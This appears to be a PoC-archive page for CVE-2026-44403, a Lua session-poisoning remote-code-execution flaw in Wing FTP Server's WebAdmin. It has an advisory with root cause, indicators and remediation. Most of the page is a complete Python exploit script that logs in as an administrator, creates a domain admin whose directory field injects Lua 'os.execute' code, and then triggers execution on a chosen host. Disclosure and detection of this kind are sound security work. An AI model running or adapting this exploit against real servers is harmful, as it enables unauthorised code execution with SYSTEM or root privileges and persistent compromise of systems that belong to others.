PoC Archive PoC Archive
High CVE-2026-44403 patched

Wing FTP Server Admin Session Poisoning via Lua loadfile() RCE (CVE-2026-44403)

by ZemarKhos · 2026-07-05

Severity
High
CVE
CVE-2026-44403
Category
web
Affected product
Wing FTP Server (WebAdmin console)
Affected versions
v8.1.2 confirmed vulnerable (issue traces back through the line since the incomplete CVE-2025-47812 fix in v7.4.4)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherZemarKhos
CVE / AdvisoryCVE-2026-44403
Categoryweb
SeverityHigh
CVSS ScoreN/A (see advisory)
StatusPoC
Tagswingftp, lua, session-poisoning, loadfile, rce, webadmin, authenticated
RelatedCVE-2025-47812 (earlier, incompletely-fixed Wing FTP session-injection RCE)

Affected Target

FieldValue
Software / SystemWing FTP Server (WebAdmin console)
Versions Affectedv8.1.2 confirmed vulnerable (issue traces back through the line since the incomplete CVE-2025-47812 fix in v7.4.4)
Language / PlatformLua (server-side WebAdmin scripts), HTTP admin interface
Authentication RequiredYes — requires valid full-administrator credentials (not readonly, not domain admin)
Network Access RequiredYes — HTTP(S) access to the WebAdmin interface (default port 5466)

Summary

Wing FTP Server’s WebAdmin session mechanism serializes session values as executable Lua source using [[...]] long-string literals. Because bracket-sanitization code that would strip [/] characters from session values was commented out, a value containing ]] prematurely closes the long string and lets an attacker inject arbitrary Lua that executes the next time the session file is loaded via loadfile(). An authenticated full administrator can set a malicious mydirectory (basefolder) value on a domain admin account; when that account’s session is created and subsequently reloaded, the injected Lua runs with the privileges of the Wing FTP Server process (SYSTEM on Windows, root on Linux). This is a distinct, still-exploitable variant of the vulnerability class only partially fixed by CVE-2025-47812.


Vulnerability Details

Root Cause

serialize() in SessionModule.lua:103 and SessionModuleAdmin.lua:104 writes session values as:

1
outf("_SESSION["..k.."]=[["..v.."]]\r\n")

If v contains ]], the Lua long-string literal closes early and everything after it is parsed and executed as Lua source when the session file is later loaded via loadfile() + f() (SessionModule.lua:184-188). The bracket-stripping sanitization that should prevent this exists in cgi.lua:274-275 / cgiadmin.lua:277-278 but is commented out, and the session metatable that would otherwise enforce it (cgi.lua:282, cgiadmin.lua:285) is likewise disabled. The v7.4.4 fix for CVE-2025-47812 only addressed a null-byte injection vector in the username field — it never re-enabled bracket sanitization or fixed the underlying unsafe serialization, leaving the mydirectory (basefolder) field on domain-admin accounts exploitable in v8.1.2.

Attack Vector

  1. An authenticated full administrator (not readonly, not domain admin) creates or modifies a domain admin account via service_add_admin.html or service_modify_admin.html, setting mydirectory to a value such as C:\ftproot]]os.execute("whoami > C:\\proof.txt")--. Neither endpoint sanitizes brackets from mydirectory (only the username field is bracket-stripped).
  2. The poisoned domain admin logs in via service_login.html, which stores the basefolder directly into the session (rawset(_SESSION,"admin_basefolder",basefolder) and admin_nowpath), and SessionModuleAdmin.save() serializes it as _SESSION['admin_basefolder']=[[C:\ftproot]]os.execute("whoami > C:\\proof.txt")--]].
  3. On the next request that loads this session (e.g. navigating to any admin page or hitting service_get_dir_list.html), loadfile() parses the session file as Lua: the [[C:\ftproot]] closes as a string, os.execute(...) executes as code, and the trailing --]] is commented out.
  4. The injected command runs with the privileges of the Wing FTP Server service process.

Impact

Remote code execution as the Wing FTP Server service account (typically SYSTEM on Windows or root on Linux), achievable by any full administrator account — including one that was itself compromised via a lower-privilege vector, or a malicious insider with admin access. The payload persists and re-executes on every subsequent load of the poisoned session file.


Environment / Lab Setup

Target: Wing FTP Server v8.1.2, WebAdmin interface (default port 5466).
Prerequisite: valid full-administrator credentials on the target.

No bundled lab/container; run against a Wing FTP Server instance you control:

  python3 session_poisoning_poc.py demo
  python3 session_poisoning_poc.py exploit <host:port> <admin_user> <admin_pass>

Proof of Concept

PoC Script

See session_poisoning_poc.py in this folder.

1
2
3
python3 session_poisoning_poc.py demo

python3 session_poisoning_poc.py exploit 192.168.1.10:5466 admin password123

The exploit mode logs in as the given full administrator, creates (or modifies) a domain admin account named svc_backup with a poisoned mydirectory value, then logs in as that poisoned account and issues a follow-up request to trigger loadfile() on the session file. On a vulnerable target this writes a proof file (e.g. C:\wingftp_pwned.txt) containing the output of whoami, confirming server-side Lua code execution.


Detection & Indicators of Compromise

- Domain admin accounts with a "mydirectory"/basefolder value containing "]]" or other
  Lua metacharacters/function calls (e.g. os.execute, io.popen).
- Unexpected admin/domain-admin creation or modification events via
  service_add_admin.html / service_modify_admin.html shortly followed by a login as
  that account.
- Unusual child processes spawned by the Wing FTP Server service process
  (wftpserver.exe / wftpserverd) immediately after an admin session load.

Signs of compromise:

  • Unexplained files created by the Wing FTP Server process (e.g. proof-of-execution files, dropped payloads).
  • New or modified domain admin accounts with suspicious basefolder/directory values.
  • Wing FTP Server process spawning shells or command interpreters.

Remediation

ActionDetail
Primary fixApply vendor patch that re-enables bracket sanitization for all session-bound fields (including mydirectory/basefolder) and restores the session metatable enforcement in cgi.lua/cgiadmin.lua, or upgrade to a fixed Wing FTP Server release once available.
Interim mitigationRestrict WebAdmin access to trusted admin networks only; audit and limit who holds full-administrator privileges; monitor/alert on domain admin account creation or modification containing bracket characters in the basefolder field.

References


Notes

Mirrored from https://github.com/ZemarKhos/CVE-2026-44403-WingFTP-v8.1.2-POC-Exploit on 2026-07-05.

session_poisoning_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
#!/usr/bin/env python3
"""
Wing FTP Server v8.1.2 — Chain 2: Session Poisoning via Lua loadfile() RCE
==========================================================================

VULNERABILITY SUMMARY:
  Session files are serialized as executable Lua code using [[...]] long-string
  notation (SessionModule.lua:103). If any session value contains "]]", the long
  string closes prematurely and subsequent content is executed as Lua code when
  the session is loaded via loadfile() + f() (SessionModule.lua:184-188).

  The session metatable sanitization for [ and ] characters was INTENTIONALLY
  DISABLED (cgi.lua:274-275 and cgiadmin.lua:277-278 — commented out).

ATTACK VECTOR:
  A full admin creates/modifies a domain admin via service_modify_admin.html or
  service_add_admin.html. The admin object's "mydirectory" field (basefolder)
  is NOT bracket-sanitized. When the poisoned domain admin logs in, basefolder
  goes directly into _SESSION["admin_basefolder"] and _SESSION["admin_nowpath"]
  (service_login.html:95-96). On next session load, the payload executes.

AFFECTED FILES:
  - lua/SessionModule.lua:103      — serialize() uses [[v]] without escaping ]]
  - lua/SessionModuleAdmin.lua:104 — same vulnerability
  - lua/cgi.lua:274-275            — bracket sanitization COMMENTED OUT
  - lua/cgiadmin.lua:277-278       — bracket sanitization COMMENTED OUT
  - webadmin/service_login.html:95-96     — basefolder stored unsanitized
  - webadmin/admin_loginok.html:64-65     — basefolder stored unsanitized
  - webadmin/service_add_admin.html:14-15 — only strips [] from username, NOT mydirectory
  - webadmin/service_modify_admin.html:7-14 — no bracket stripping at all

PREREQUISITES:
  - Valid full admin credentials (not readonly, not domain admin)
  - Target: Wing FTP Server web admin panel (default port 5466)

IMPACT:
  Remote Code Execution as the Wing FTP Server service account.
  Persistence: payload re-executes every time the poisoned session is loaded.
"""

import requests
import hashlib
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class WingFTPSessionPoisoning:
    def __init__(self, target, admin_user, admin_pass, use_ssl=False):
        proto = "https" if use_ssl else "http"
        self.base_url = f"{proto}://{target}"
        self.admin_user = admin_user
        self.admin_pass = admin_pass
        self.session = requests.Session()
        self.session.verify = False

    def login(self):
        """Authenticate to the admin panel and obtain UIDADMIN session cookie."""
        # service_login.html accepts credentials via POST
        url = f"{self.base_url}/service_login.html"
        data = {
            "username": self.admin_user,
            "password": self.admin_pass,
        }
        headers = {
            "Referer": f"{self.base_url}/admin_login.html",
        }
        resp = self.session.post(url, data=data, headers=headers)
        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Login successful as '{self.admin_user}'")
                return True
            elif result.get("code") in (1, 2):
                print(f"[-] 2FA required — this PoC doesn't handle TOTP")
                return False
            else:
                print(f"[-] Login failed: {result}")
                return False
        except Exception:
            # Legacy endpoint (admin_loginok.html) returns HTML
            if "logged in ok" in resp.text or "main.html" in resp.text:
                print(f"[+] Login successful (legacy endpoint)")
                return True
            print(f"[-] Login failed: {resp.text[:200]}")
            return False

    def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
        """
        Create a domain admin with a poisoned 'mydirectory' (basefolder) field.

        The mydirectory value will be serialized as:
            _SESSION['admin_basefolder']=[[<mydirectory_value>]]

        Our payload breaks out of the [[ ]] long string:
            _SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]

        When this session file is loaded via loadfile() + f(), the payload executes.
        """
        # Construct the poisoned basefolder value
        # Format: <innocent_prefix>]]<lua_code>--
        # The ]] closes the long string, code executes, -- comments out the rest
        poisoned_basefolder = f"/tmp/x]]{lua_payload}--"

        admin_obj = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
            "readonly": False,
            "domainadmin": 1,        # Make it a domain admin
            "domainlist": "",         # Will be set by server
            "mydirectory": poisoned_basefolder,  # THIS IS THE PAYLOAD
            "ipmasks": [],
            "enable_two_factor": False,
            "two_factor_code": "",
        }

        url = f"{self.base_url}/service_add_admin.html"
        headers = {
            "Referer": f"{self.base_url}/main.html",
        }
        admin_json = json.dumps(admin_obj, separators=(',', ':'))

        print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
        print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
        # Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably
        resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)

        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Poisoned admin created successfully!")
                return True
            elif result.get("code") == -3:
                print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
                return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
            else:
                print(f"[-] Failed to create admin: {result}")
                return False
        except Exception:
            print(f"[-] Unexpected response: {resp.text[:200]}")
            return False

    def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
        """Modify existing admin to inject the poisoned basefolder."""
        poisoned_basefolder = f"/tmp/x]]{lua_payload}--"

        admin_obj = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
            "readonly": False,
            "domainadmin": 1,
            "domainlist": "",
            "mydirectory": poisoned_basefolder,
            "ipmasks": [],
            "enable_two_factor": False,
            "two_factor_code": "",
        }

        # service_modify_admin.html has NO bracket stripping at all
        url = f"{self.base_url}/service_modify_admin.html"
        headers = {
            "Referer": f"{self.base_url}/main.html",
        }
        admin_json = json.dumps(admin_obj, separators=(',', ':'))

        resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
                return True
            else:
                print(f"[-] Failed to modify admin: {result}")
                return False
        except Exception:
            print(f"[-] Unexpected response: {resp.text[:200]}")
            return False

    def trigger_payload(self, poison_admin_user, poison_admin_pass):
        """
        Trigger the payload by logging in as the poisoned domain admin.

        On login, service_login.html:95-96 stores the basefolder in session:
            rawset(_SESSION,"admin_basefolder",basefolder)
            rawset(_SESSION,"admin_nowpath",basefolder)

        SessionModule.save() serializes it as:
            _SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]

        The payload executes on the NEXT session load (any subsequent request).
        """
        print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")

        trigger_session = requests.Session()
        trigger_session.verify = False

        url = f"{self.base_url}/service_login.html"
        data = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
        }
        headers = {
            "Referer": f"{self.base_url}/admin_login.html",
        }

        # Step 1: Login — stores poisoned basefolder in session
        resp = trigger_session.post(url, data=data, headers=headers)
        print(f"[*] Login response: {resp.text[:200]}")

        # Step 2: Any subsequent request triggers loadfile() on the session file
        # The session file now contains the Lua payload
        trigger_url = f"{self.base_url}/service_get_dir_list.html"
        headers["Referer"] = f"{self.base_url}/main.html"
        resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
        print(f"[*] Trigger response: {resp2.status_code}")
        print(f"[+] Payload should have executed on the server!")

        return True


def demo_session_file():
    """
    Demonstrate what the poisoned session file looks like.
    Shows the exact Lua code that gets written and executed.
    """
    print("=" * 70)
    print("DEMONSTRATION: Poisoned Session File Content")
    print("=" * 70)

    payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
    basefolder = f'/tmp/x]]{payload}--'

    print(f"\n[1] Admin sets mydirectory to:")
    print(f"    {basefolder}")

    print(f"\n[2] On login, session is saved. serialize() outputs:")
    session_content = f"""_SESSION['admin']=[[poisoned_admin]]
_SESSION['admin_basefolder']=[[{basefolder}]]
_SESSION['admin_domainadmin']=1
_SESSION['admin_domainlist']=[[]]
_SESSION['admin_nowpath']=[[{basefolder}]]
_SESSION['admin_readonly']=0
_SESSION['ipaddress']=[[127.0.0.1]]
_SESSION['logined']=[[true]]"""

    print(f"    --- session file content ---")
    for line in session_content.split('\n'):
        print(f"    {line}")
    print(f"    --- end ---")

    print(f"\n[3] Lua parser sees the basefolder line as:")
    print(f"    _SESSION['admin_basefolder']=[[/tmp/x]]  --> string '/tmp/x'")
    print(f"    {payload}                                 --> EXECUTED AS CODE!")
    print(f"    --]]                                      --> comment (ignored)")

    print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.")

    print(f"\n[5] Result: '{payload}' runs as server process.")
    print("=" * 70)


def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <mode> [args...]")
        print(f"")
        print(f"Modes:")
        print(f"  demo                              — Show how the vulnerability works")
        print(f"  exploit <host:port> <user> <pass>  — Create poisoned admin and trigger RCE")
        print(f"")
        print(f"Examples:")
        print(f"  {sys.argv[0]} demo")
        print(f"  {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
        sys.exit(1)

    mode = sys.argv[1]

    if mode == "demo":
        demo_session_file()

    elif mode == "exploit":
        if len(sys.argv) < 5:
            print("Usage: exploit <host:port> <admin_user> <admin_pass>")
            sys.exit(1)

        target = sys.argv[2]
        admin_user = sys.argv[3]
        admin_pass = sys.argv[4]

        # Default payload — write proof file (Windows-compatible)
        lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'

        poison_admin = "svc_backup"
        poison_pass = "P@ssw0rd123!"

        print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2")
        print(f"[*] Target: {target}")
        print(f"[*] Payload: {lua_payload}")
        print(f"[*] Poisoned admin account: {poison_admin}")
        print()

        exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)

        if not exploit.login():
            sys.exit(1)

        if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
            sys.exit(1)

        exploit.trigger_payload(poison_admin, poison_pass)

        print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
    else:
        print(f"Unknown mode: {mode}")
        sys.exit(1)


if __name__ == "__main__":
    main()